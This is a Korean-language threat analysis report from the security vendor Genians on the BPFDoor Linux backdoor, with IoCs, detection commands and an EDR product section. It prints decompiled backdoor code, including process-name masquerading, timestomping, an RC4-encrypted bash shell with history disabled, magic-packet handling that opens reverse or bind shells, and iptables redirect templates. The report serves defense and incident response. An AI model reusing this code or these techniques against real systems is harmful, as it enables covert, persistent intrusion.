위협분석보고서-genians

BPFDoor 리눅스 악성파일 분석 보고서

작성자: Genians | Apr 28, 2025 12:00:00 AM

1. 개요 (Overview)

○ 2025년 04월 14일 보안업체 트렌드마이크로는 <BPFDoor’s Hidden Controller Used Against Asia, Middle East Targets> 제목의 분석 보고서를 발간하였습니다.

○ 해당 보고서에 따르면, BPFDoor(BPF+Backdoor 합성어)에 연결된 컨트롤러는 리버스 셸을 열어 손상된 네트워크에 더욱 깊숙이 침투할 수 있었습니다. 그리고 최근 공격이 대한민국, 홍콩, 미얀마, 말레이시아, 이집트의 통신, 금융, 소매 부문 등을 표적으로 삼는 것이 관찰됐다고 밝혔습니다.

○ BPFDoor는 리눅스 기반 백도어로 BPF 기능을 악용합니다. 사이버 간첩 활동을 위해 설계되었고, 중국연계 국가지원 지능형지속위협(APT) 그룹인 Red Menshen 으로 알려져 있습니다. 다만, 2022년에 소스코드가 깃허브 등에 공개되어 누구나 변종을 개발할 수 있다는 점에서, 배후를 특정하거나 단정하는데 다양한 조사와 연구가 필요합니다.


[그림 1] 깃허브에 공개된 BPFDoor 소스코드 화면


○ 참고로 BPF(Berkeley Packet Filter)란, 리눅스 운영체제 커널 내에서 네트워크 패킷을 효율적으로 필터링하기 위해 고안된 기술입니다. 1992년 Lawrence Berkeley National Laboratory의 Steven McCanne과 Van Jacobson에 의해 개발되었습니다.

○ 초기의 Classic BPF (cBPF)는 주로 패킷 필터링에 국한되었습니다. 하지만 Extended BPF (eBPF)는 네트워킹뿐만 아니라 트레이싱, 보안, 모니터링 등 커널 수준에서 다양한 작업을 수행할 수 있는 강력한 기술이 되었습니다.

 

 

2. 배경 (Background)

○ 트렌드마이크로가 공개한 목표 국가와 기업에는 대한민국이 포함돼 있습니다.


[그림 2] 트렌드마이크로 보고서 화면


○ 구체적으로 설명되어 있지 않지만, 2024년 7월과 12월에 한국의 통신산업 분야에 대한 공격이 수행됐다고 밝히고 있습니다.

○ 해당 위협 행위자(Threat Actor)는 Linux 서버를 표적으로 삼았으며, 하기와 같은 다양한 경로를 사용하여 악성파일을 숨겼습니다. 어떤 초기 진입점이 사용되었는지에 대한 조사는 계속 진행 중으로 알려졌습니다.

  • /tmp/zabbix_agent.log
  • /bin/vmtoolsdsrv
  • /etc/sysconfig/rhn/rhnsd.conf

○ 이처럼 확인된 경로는 여러 사례 중 일부일 것으로 관측되며, 위협 행위자의 의도에 따라 다양한 위치에 악성파일을 은닉할 수 있습니다.

○ 따라서, 알려진 경로는 참고하되 침해사고 조사에 국한해서는 안됩니다.

○ 아울러 BPFDoor 변종은 지난 2018년 8월경 한국에서 보고된 사례가 존재하며, 2025년 4월 현재까지 다양한 종류가 지속적으로 발견되고 있습니다.

○ 지난 4월 25일 한국인터넷진흥원(KISA) 보호나라는 '최근 해킹공격에 악용된 악성코드, IP 등 위협정보 공유 및 주의 안내' 보안공지 게시글을 통해 4종의 침해지표(IoC) 정보를 공개하였습니다.

  • a47d96ffe446a431a46a3ea3d1ab4d6e
  • 227fa46cf2a4517aa1870a011c79eb54
  • f4ae0f1204e25a17b2adbbab838097bd
  • 714165b06a462c9ed3d145bc56054566

○ 공개된 IoC 내용과 공개출처정보(OSINT) 평판 등을 통해 해당 파일이 BPFDoor 유형이라는 것을 파악할 수 있습니다.


[그림 3] KISA 보호나라 보안공지 화면


○ GSC(Genians Security Center) 위협 분석가는 수십여종의 BPFDoor 유형 악성파일를 수집 분석하였고, 2024년 5월 한국에서 보고된 악성파일 정보를 제공합니다.

○ 본 보고서는 실제 한국에서 보고된 BPFDoor 악성파일 분석 사례를 통해 기업과 기관이 유사한 공격에 노출되지 않도록 미연에 대비하기 위한 인사이트 제공을 목적으로 합니다.

 

 

3.악성파일 분석 (Malware Analysis)


3-1. BPFDoor

○ 본 보고서는 2024년 5월 한국에서 보고된 BPFDoor 악성파일(MD5 Hash : 4e7e0995dc8cc5c1e8ce7c33dcf3b114)에 대한 분석입니다. 먼저, BPFDoor는 x86-64 아키텍처를 가지고 있습니다. 따라서, ARM 환경에서는 호환되지 않을 수 있습니다.


[그림 4] ELF 리눅스 악성파일의 헤더 정보


○ 악성파일은 64비트 ELF 리눅스 구조를 가지고 있으며, 최초 실행될 경우 'var/run' 경로에 'haldrund.pid' 파일을 생성하게 됩니다.

 

[그림 5] 'haldrund.pid' 생성 코드 화면


○ 'haldrund.pid' 파일의 크기는 0바이트로, 일종의 중복실행 방지 및 실행권한 확인용으로 쓰입니다.


[그림 6] 'haldrund.pid' 생성 전후 비교 화면


○ 'haldrund.pid' 파일의 읽기권한 여부와 실행자(getuid)가 루트권한인지 확인합니다. 그리고, 프로세스 인자 개수를 확인해 최초 실행 여부를 확인합니다. 최초 실행이 확인되면, 'kdmtmpflush' 파일명으로 설정조건(to_open)에 따라 복사 및 실행 과정을 수행합니다.


[그림 7] 중복 실행 및 권한 확인 화면


○ to_open 함수를 통해 아래와 같이 명령이 수행됩니다.

  • /bin/rm -f /dev/shm/%s
    • 파일 삭제 (초기화)
  • /bin/cp %s /dev/shm/%s
    • 악성 파일 복사
  • /bin/chmod 755 /dev/shm/%s
    • 실행 권한 부여
  • /dev/shm/%s --init
    • 파일 실행 (인자값 포함)
  • /bin/rm -f /dev/shm/%s
    • 파일 삭제 (흔적 제거)

○ 'kdmtmpflush' 파일은 처음 실행된 BPFDoor의 복사본이며, '/dev/shm' 경로에 생성됩니다. 이 디렉토리는 공유 메모리(shared memory)로 일종의 램디스크이며, 자주 읽기/쓰기하는 임시 파일이 사용할 수 있습니다. 그리고 모든 사용자가 읽고 쓸 수 있는 권한을 가지고 있습니다.

○ 이 경로에 악성파일 복사본을 생성/실행/삭제함에 따라, 추후 감염흔적을 숨기는 목적으로 사용될 수 있습니다.

○더불어 'kdmtmpflush' 파일명은 리눅스 커널에서 장치 매핑 및 블록 장치의 가상화 관리 서비스 시스템인 'kdm'(Kernel Device Mapper) 파일과 kdm 서브시스템에서 사용되는 프로세스 'kdmflush' 파일처럼 위장했습니다. 파일명 중간에 임시(tmp) 문자열을 포함해 마치 정상 프로세스처럼 착각하게 만듭니다.

○ 실제 감염 분석용 리눅스 단말의 '/dev/shm' 경로에서 삭제된 흔적을 조회하면 특정 프로세스<PID> 기록을 검색할 수 있습니다.

  • sudo ls -alR /proc/*/exe 2> /dev/null | grep deleted

[그림 8] 'kdmtmpflush' 파일의 삭제된 기록 화면


○ 'kdmtmpflush' 파일이 '1652' PID 값과 삭제된 흔적을 식별할 수 있습니다. 이 로그를 바탕으로, 실제 '/proc/1652' 경로에서 실제 삭제된 기록을 조회할 수 있습니다.


[그림 9] 'kdmtmpflush' 삭제 검증 화면


○ 현재 실행 중인 프로세스 중 PID '1652' 값을 조회하면, 또 다른 이름으로 동작하는 것을 확인할 수 있습니다.


[그림 10] 새로 생성된 프로세스 화면


○ BPFDoor는 동작할 때마다 자신을 은닉하기 위해 프로세스명을 랜덤하게 변경하는 기능을 수행합니다. 마치 리눅스 시스템 데몬처럼 위장하게 됩니다.


[그림 11] 임의로 변경할 프로세스 목록


○ 총 10가지 형태 중에 랜덤하게 프로세스명이 변경됩니다. 물론, 변종에 따라 이 내용은 달라질 수 있습니다.

  • /sbin/udevd -d
  • /sbin/mingetty /dev/tty7
  • /usr/sbin/console-kit-daemon --no-daemon
  • hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event
  • dbus-daemon --system
  • hald-runner
  • pickup -l -t fifo -u
  • avahi-daemon: chroot helper
  • /sbin/auditd -n
  • /usr/lib/systemd/systemd-journald

○ setup_time 함수를 통해 복사본의 생성날짜를 특정 날짜와 시간대로 은닉합니다. 이를 통해 향후 디지털 포렌식 등 침해사고 조사 과정에서 최대한 탐색되지 않도록 활용합니다. 그리고 사용자 터미널과 분리된 독립 세션으로 마치 정상 데몬처럼 위장하게 됩니다.

  • 0x490A083C (유닉스 타임스탬프) : 2008. 10. 30. PM 07:17:16

strcpy((char *)v9, "justforfun");

 strcpy(v8, "socket");

 src[0] = "/sbin/udevd -d";

 src[1] = "/sbin/mingetty /dev/tty7";

 src[2] = "/usr/sbin/console-kit-daemon --no-daemon";

 src[3] = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event";

 src[4] = "dbus-daemon --system";

 src[5] = "hald-runner";

 src[6] = "pickup -l -t fifo -u";

 src[7] = "avahi-daemon: chroot helper";

 src[8] = "/sbin/auditd -n";

 src[9] = "/usr/lib/systemd/systemd-journald";

 strcpy(&pid_path, "/var/run/haldrund.pid");

 if ( !access(&pid_path, 4) )

   exit(0);

 if ( getuid() )

   return 0;

 if ( argc == 1 )

 {

   if ( !(unsigned int)to_open(*argv, "kdmtmpflush") )

     _exit(0);

   _exit(-1);

 }

 bzero(&cfg, 0x224uLL);

 v4 = time(0LL);

 srand(v4);

 v5 = rand();

 strcpy(dest, src[v5 % 10]);

 strcpy(s1, (const char *)v9);

 strcpy(s, v8);

 setup_time(*argv);

 set_proc_name((unsigned int)argc, argv, dest);

 chdir("/");

 chdir("/");

 v9[3] = fork();

 if ( v9[3] )

   exit(0);

 setsid();

 v9[3] = open("/dev/null", 2);

 dup2(v9[3], 0);

 dup2(v9[3], 1);

 dup2(v9[3], 2);

 close(v9[3]);

 init_signal();

 signal(17, sig_child);

 godpid = getpid();

 v6 = open(&pid_path, 65, 420LL);

 close(v6);

 signal(17, (__sighandler_t)1);

 packet_loop();

 return 0;

}

 

{

 timeval tvp; 

 __int64 v3; 

 __int64 v4;

 tvp.tv_sec = 0x490A083CLL;

 tvp.tv_usec = 0LL;

 v3 = 0x490A083CLL;

 v4 = 0LL;

 return utimes(a1, &tvp);

}

[표 1] BPFDoor 메인함수 화면


○ 분석에 사용된 BPFDoor는 위협 행위자의 명령을 수신할 때 RC4 대칭키 암호화 알고리즘을 사용합니다. 아래는 'shell' 함수 부분이며, 'cwrite' 함수를 통해 RC4 초기화 등을 수행하게 됩니다.


strcpy(v17, "qmgr -l -t fifo -u");

argv[0] = v17;

argv[1] = 0LL;

argv[2] = 0LL;

strcpy(path, "/bin/bash");

strcpy(v13, "HOME=/tmp");

strcpy(v12, "PS1=[\\u@\\h \\W]\\\\$ ");

strcpy(v11, "HISTFILE=/dev/null");

strcpy(v10, "MYSQL_HISTFILE=/dev/null");

strcpy(

 v9,

 "PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin");

strcpy(v8, "vt100");

envp[0] = v13;

envp[1] = v12;

envp[2] = v11;

envp[3] = v10;

envp[4] = v9;

envp[5] = v8;

envp[6] = 0LL;

if ( a2 )

 system(a2);

if ( a3 )

 system(a3);

write(a1, "3458", 4uLL);

if ( (unsigned int)open_tty() )

{

 pid = fork();

 if ( !pid )

 {

   close(pty);

   ioctl(tty, 0x540EuLL);

   close(a1);

   dup2(tty, 0);

   dup2(tty, 1);

   dup2(tty, 2);

   close(tty);

   execve(path, argv, envp);

 }

 close(tty);

 while ( 1 )

 {

   memset(&readfds, 0, sizeof(readfds));

   v22 = 0;

   p_pid = (unsigned int)&pid;

   readfds.fds_bits[(unsigned __int64)pty >> 6] |= 1LL << (pty & 0x3F);

   readfds.fds_bits[(unsigned __int64)a1 >> 6] |= 1LL << (a1 & 0x3F);

   v4 = pty <= a1 ? a1 + 1 : pty + 1;

   if ( select(v4, &readfds, 0LL, 0LL, 0LL) < 0 )

     break;

   if ( (((unsigned __int64)readfds.fds_bits[(unsigned __int64)pty >> 6] >> (pty & 0x3F)) & 1) != 0 )

   {

     v24 = read(pty, buf, 0x8000uLL);

     if ( v24 <= 0 || (int)cwrite(a1, buf, v24) <= 0 )

       break;

   }

 

{

 void *dest; 

 unsigned int v6; 

 if ( !a3 )

   return 0LL;

 dest = malloc(a3);

 if ( !dest )

   return 0LL;

 memcpy(dest, a2, a3);

 rc4(dest, (unsigned int)a3, &crypt_ctx);

 v6 = write(a1, dest, a3);

 free(dest);

 return v6;

}

[표 2] RC4 관련 함수 화면


○ 이렇게 동작된 BPFDoor는 위협 행위자의 공격명령을 대기하게 됩니다. 이때 BPF 수신구조를 사용하는데, 아래는 'packet_loop' 함수의 일부입니다.


v34 = 0LL;

qmemcpy(v17, "(", sizeof(v17));

optval = 30;

v19 = v17;

v0 = htons(0x800u);

result = socket(17, 3, v0);

fd = result;

if ( result > 0 )

{

 result = setsockopt(fd, 1, 26, &optval, 0x10u);

 if ( result != -1 )

 {

   while ( 1 )

   {

     do

     {

       memset(s, 0, 0x200uLL);

       v28 = 0;

       v23 = recvfrom(fd, s, 0x200uLL, 0, 0LL, 0LL);

       v29 = &v21;

       v26 = 4 * (v21 & 0xF);

     }

     while ( v26 <= 19 );

     v2 = (unsigned __int8)v29[9];

     switch ( v2 )

     {

       case 6:

         v30 = &s[v26 + 14];

         v27 = 4 * (v30[12] >> 4);

         v31 = &s[v26 + 14 + (__int64)v27];

         break;

       case 17:

         v32 = v29 + 20;

         v31 = v29 + 28;

         break;

       case 1:

         v34 = v29 + 20;

         v31 = v29 + 28;

         break;

     }

     if ( v31 )

     {

       if ( *((_DWORD *)v31 + 1) == -1 )

         v33 = *((_DWORD *)v29 + 3);

       else

         v33 = *((_DWORD *)v31 + 1);

       pid = fork();

       if ( !pid )

       {

         v35 = 0;

         *(_QWORD *)dest = 0LL;

         v15 = 0LL;

         v16 = 0;

         strcpy(src, "/usr/libexec/postfix/master");

         if ( fork() )

           exit(0);

         setsid();

         signal(1, 0LL);

         v3 = strlen(argv0);

         memset(argv0, 0, v3);

         strcpy(argv0, src);

         prctl(15, src, v4, v5, v6, v7);

         v8 = strlen(v31 + 10);

         rc4_init((__int64)(v31 + 10), v8, (__int64)&crypt_ctx);

         v9 = strlen(v31 + 10);

         rc4_init((__int64)(v31 + 10), v9, (__int64)&decrypt_ctx);

         v10 = logon(v31 + 10);

         v35 = v10;

         switch ( v10 )

         {

          case 1:

             v11 = inet_ntoa(*(struct in_addr *)(v29 + 12));

             strcpy(dest, v11);

             v12 = ntohs(*((_WORD *)v30 + 1));

             getshell((__int64)dest, v12);

             break;

       case 2:

             mon(v33, *((_WORD *)v31 + 4));

             break;

       case 0:

             v25 = try_link(v33, *((_WORD *)v31 + 4));

             if ( v25 > 0 )

               shell(v25, 0LL, 0LL);

             break;

         }

         exit(0);

       }

       waitpid(pid, 0LL, 1);

[표 3] 패킷 수신 함수 일부 화면


○ 다음으로 수신된 매직패킷(magic_packet) 내에서 악성파일에 정의된 문자열을 비교합니다.


[그림 12] 매직패킷 수행 문자열


○ 'packet_loof' 함수의 조건에 따라, 'getshell', 'try_link', 'shell' 함수가 호출됩니다. 이때 사전에 정의된 'justforfun', 'socket' 2개의 문자열을 비교하여 악성 행위 동작을 수행하게 됩니다. 그리고 사전 정의된 문자열이 없을 때는 'mon' 모니터링 기능을 수행합니다.

  • justforfun (case 0:)
    • Reverse Shell
  • socket (case 1:)
    • IPTables 규칙 설정
    • Bind Shell
  • 문자열이 없을 때 (case 2:)
    • 1바이트 UDP 패킷 단방향 전송
    • 비동기 통신 방식으로 네트워크 탐지 회피 목적

○ 'socket' 명령을 수신하면, 위협 행위자의 명령을 수신하기 위해 IPTable 포맷 문자열을 사용하는데, 총 4개를 사용합니다.


memset(s, 0, 0x200uLL);

memset(v8, 0, sizeof(v8));

memset(v7, 0, sizeof(v7));

strcpy(v6, "/sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d");

strcpy(v5, "/sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d");

strcpy(format, "/sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT");

strcpy(v3, "/sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT");

result = b((int *)&v10);

v12 = result;

[표 3] 패킷 수신 함수 일부 화면


○ 각 기능은 아래와 같습니다.

  • /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
    • TCP 패킷이 수신될 때, 특정 포트를 다른 포트로 포워딩
  • /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
    • PREROUTING 체인에 설정되어 있는 특정 REDIRECT 규칙을 삭제
  • /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
    • 위협 행위자가 보낸 TCP 트래픽 허용규칙을 INPUT 체인 삽입
  • /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
    • 위협 행위자가 보낸 TCP 트래픽 허용규칙을 INPUT 체인 삭제

 

 

4. 대응 방법

○ BPFDoor 시리즈는 오픈소스 형태의 리눅스 기반 악성파일로, 다양한 변종이 제작될 수 있습니다.

○ 따라서, 파일 해시(Hash)나 시그니처 기반의 패턴 검사는 탐지 신뢰도가 낮아질 수 있습니다. 효과적인 위협식별을 위해 엔드포인트 탐지 및 대응(EDR : Endpoint Detection and Response) 제품을 활용한 방법이 효과적일 수 있습니다.

○ 더불어 수동으로 ss (socket statistics) 명령어를 사용해 네트워크 소켓 정보를 조회할 수 있습니다. 'ss -0pb' 명령을 통해  BPF 필터의 매직넘버(0x7255, 0x5293, 0x39393939)를 확인합니다.

  • ss -0pb | grep -EB1 –colour "$((0x7255))|$((0x5293))|$((0x39393939))"

○ 그리고 '/proc/*/stack'에서 'packet_recvmsg', 'wait_for_more_packets' 함수 호출을 검색합니다. 본 보고서에 기술된 위장 프로세스 이름이나 TCP 포트 42391 ~ 43391 바인딩을 확인합니다.

○ BPFDoor 유형이 사용했던 '/var/run/haldrund.pid' 또는 '/dev/shm/kdmtmpflush' 흔적들을 조회하거나 'iptables'의 비정상적인 리디렉션 규칙을 점검해 봅니다.

Genian EDR을 통해서 BPFDoor의 행위를 시각적으로 확인할 수 있으며, 어떤 자식 프로세스를 실행시켜 어떤 행위를 수행했는지 신속하게 파악하고 대응할 수 있습니다.



[그림 13] Genian EDR 이벤트 상세정보 화면

 

○ 또한, Genian EDR를 통해 BPFDoor를 탐지할 수 있으며, 위협 처리를 통해 EndPoint에서 발생한 위협을 신속하게 확인하고 대응할 수 있습니다. 이를 통해 보안 담당자는 기업의 보안을 강화하고 지속적인 위협으로부터 시스템을 보호할 수 있습니다.

 


[그림 14] Genian EDR 위협 탐지 화면

 

 

5. 침해 지표 (Indicator of Compromise)


  • MD5

463bccad86eafae64faa2dcec2bd0845

7616b2b80c23f911a0a9b84621466a7e

635354ca75e2063c604341cfa7c00372

714165b06a462c9ed3d145bc56054566

770231fbf23b3923826f0ffa3cedb1c5

97603540ca33abac4ed81e705b50eb66

a02d81a1fbc159d9441dc694471b3811

a8c54d5b028714be5fdf363957ab8de2

a47d96ffe446a431a46a3ea3d1ab4d6e

ab5880df0334f56488b37d88771445b5

ae6cd6734b0b5605f646a711b767c1c9

b771ac5a87c6547309468bf555643e63

c2415a464ce17d54b01fc91805f68967

cf50c287b20a80d666cac538c6abbdf8

d95f02ac786f587a734bf14bcec472df

e0eb814b8b712573f8378574c2ec9104

e086fabda4078355c40543d6eafeec91

f4ae0f1204e25a17b2adbbab838097bd

f9a2fa83b78edbb23aec4b819fdcd45d

00d719d41edf9e5e85db457e371159f1

0cb92ea9c8cbfc5670cd60f4983968b6

1a3bcff5d7ff9ec9b4ff30a414485f85

1d045796b3aeceff067c64a533a96968

1fedae6249f494255b570e5b78666013

4accc42c46ad9814474433d84dc68615

4e7e0995dc8cc5c1e8ce7c33dcf3b114

6aa8b196572ac773c5a5e3777979b23d

6dd745bb19c6deb3af86e06ba4bb3fe3

6dedb9125b355e7d077be4aa80b14cdd

7af0e479e50cf2f1c8256f7431b7e0c3

8ae0c0d25e96ed6c501d9a78d711c003

8f05657f0bd8f4eb60fba59cc94fe189

75d389d0f987a21bf959ca222844516a

76eee7b520f98d9990bd3f09dd3e6a1e

227fa46cf2a4517aa1870a011c79eb54

317f579e32f9adda62277e9b7c36d4b9

462b1f3e78ff332ad0d565e53261ae20


  • C2

165.232.174[.]130